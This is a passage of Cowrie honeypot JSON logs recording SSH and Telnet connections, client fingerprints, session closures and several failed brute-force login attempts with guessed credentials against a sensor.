{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39394,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e27cde59c74","protocol":"telnet","message":"New connection: 152.42.224.71:39394 (10.17.0.5:23) [session: 1e27cde59c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:21.970912Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39406,"dst_ip":"10.17.0.5","dst_port":23,"session":"60de94203b8e","protocol":"telnet","message":"New connection: 152.42.224.71:39406 (10.17.0.5:23) [session: 60de94203b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:22.195808Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39412,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc11860a0892","protocol":"telnet","message":"New connection: 152.42.224.71:39412 (10.17.0.5:23) [session: bc11860a0892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:23.435229Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50696,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffabf21a11ca","protocol":"ssh","message":"New connection: 31.40.204.166:50696 (159.203.135.109:22) [session: ffabf21a11ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:24.383780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:24.418259Z","src_ip":"31.40.204.166","session":"ffabf21a11ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:24.509857Z","src_ip":"31.40.204.166","session":"ffabf21a11ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:25.093638Z","src_ip":"31.40.204.166","session":"ffabf21a11ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.10614252090454,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:25.501494Z","src_ip":"152.42.224.71","session":"9609888ce0df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.842477798461914,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:25.893210Z","src_ip":"152.42.224.71","session":"6578b2d9e21d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:26.218371Z","src_ip":"31.40.204.166","session":"ffabf21a11ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":33766,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad53c4ef8e5b","protocol":"ssh","message":"New connection: 46.19.67.181:33766 (159.203.135.109:22) [session: ad53c4ef8e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:27.445358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:27.450260Z","src_ip":"46.19.67.181","session":"ad53c4ef8e5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:27.563106Z","src_ip":"46.19.67.181","session":"ad53c4ef8e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40086,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6226df25d92","protocol":"telnet","message":"New connection: 152.42.224.71:40086 (10.17.0.5:23) [session: b6226df25d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:27.807277Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vasiliy","message":"login attempt [root/vasiliy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:27.947206Z","src_ip":"46.19.67.181","session":"ad53c4ef8e5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:29.062580Z","src_ip":"46.19.67.181","session":"ad53c4ef8e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":59361,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b72b752d0a3","protocol":"ssh","message":"New connection: 179.176.210.17:59361 (10.17.0.5:22) [session: 5b72b752d0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:29.503402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:29.507752Z","src_ip":"179.176.210.17","session":"5b72b752d0a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:29.662747Z","src_ip":"179.176.210.17","session":"5b72b752d0a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd@2023","message":"login attempt [root/Pa$$w0rd@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:30.317828Z","src_ip":"179.176.210.17","session":"5b72b752d0a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:31.477258Z","src_ip":"179.176.210.17","session":"5b72b752d0a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40096,"dst_ip":"10.17.0.5","dst_port":23,"session":"377cf5e39911","protocol":"telnet","message":"New connection: 152.42.224.71:40096 (10.17.0.5:23) [session: 377cf5e39911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:32.402268Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":50222,"dst_ip":"10.17.0.5","dst_port":22,"session":"da571a0ab150","protocol":"ssh","message":"New connection: 103.27.238.116:50222 (10.17.0.5:22) [session: da571a0ab150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:33.393060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:33.402890Z","src_ip":"103.27.238.116","session":"da571a0ab150","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:33.677431Z","src_ip":"103.27.238.116","session":"da571a0ab150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"098765432","message":"login attempt [root/098765432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:34.500943Z","src_ip":"103.27.238.116","session":"da571a0ab150","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47852,"dst_ip":"159.203.135.109","dst_port":22,"session":"07ee5ee056c0","protocol":"ssh","message":"New connection: 31.40.204.166:47852 (159.203.135.109:22) [session: 07ee5ee056c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:35.134742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:35.139744Z","src_ip":"31.40.204.166","session":"07ee5ee056c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:35.305834Z","src_ip":"31.40.204.166","session":"07ee5ee056c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:35.777112Z","src_ip":"103.27.238.116","session":"da571a0ab150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:36.023614Z","src_ip":"31.40.204.166","session":"07ee5ee056c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:37.187186Z","src_ip":"31.40.204.166","session":"07ee5ee056c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44952,"dst_ip":"10.17.0.5","dst_port":23,"session":"b498edddda89","protocol":"telnet","message":"New connection: 152.42.224.71:44952 (10.17.0.5:23) [session: b498edddda89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:39.942403Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44950,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb89e6c4f230","protocol":"telnet","message":"New connection: 152.42.224.71:44950 (10.17.0.5:23) [session: bb89e6c4f230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:40.657961Z"}
{"eventid":"cowrie.session.closed","duration":120.00292944908142,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:42.239542Z","src_ip":"152.42.224.71","session":"cdef23aa6b77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44968,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c0d8c8ec6f8","protocol":"telnet","message":"New connection: 152.42.224.71:44968 (10.17.0.5:23) [session: 9c0d8c8ec6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:43.874485Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44964,"dst_ip":"10.17.0.5","dst_port":23,"session":"85a6e15ff2fc","protocol":"telnet","message":"New connection: 152.42.224.71:44964 (10.17.0.5:23) [session: 85a6e15ff2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:44.725544Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44982,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9feec02237b","protocol":"telnet","message":"New connection: 152.42.224.71:44982 (10.17.0.5:23) [session: d9feec02237b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:45.195517Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44972,"dst_ip":"10.17.0.5","dst_port":23,"session":"d85e47aa0556","protocol":"telnet","message":"New connection: 152.42.224.71:44972 (10.17.0.5:23) [session: d85e47aa0556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:45.706479Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35998,"dst_ip":"159.203.135.109","dst_port":22,"session":"595a83bd7b06","protocol":"ssh","message":"New connection: 31.40.204.166:35998 (159.203.135.109:22) [session: 595a83bd7b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:46.385898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:46.397263Z","src_ip":"31.40.204.166","session":"595a83bd7b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:46.515493Z","src_ip":"31.40.204.166","session":"595a83bd7b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":52969,"dst_ip":"159.203.135.109","dst_port":22,"session":"d753b308b8a8","protocol":"ssh","message":"New connection: 213.209.159.56:52969 (159.203.135.109:22) [session: d753b308b8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:46.659831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:46.664993Z","src_ip":"213.209.159.56","session":"d753b308b8a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:46.747511Z","src_ip":"213.209.159.56","session":"d753b308b8a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"josefina","password":"josefina","message":"login attempt [josefina/josefina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:47.147744Z","src_ip":"213.209.159.56","session":"d753b308b8a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:47.186810Z","src_ip":"31.40.204.166","session":"595a83bd7b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.40216398239136,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:47.478304Z","src_ip":"152.42.224.71","session":"4bdd594c780d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.960119962692261,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:47.902350Z","src_ip":"152.42.224.71","session":"b498edddda89","protocol":"telnet"}
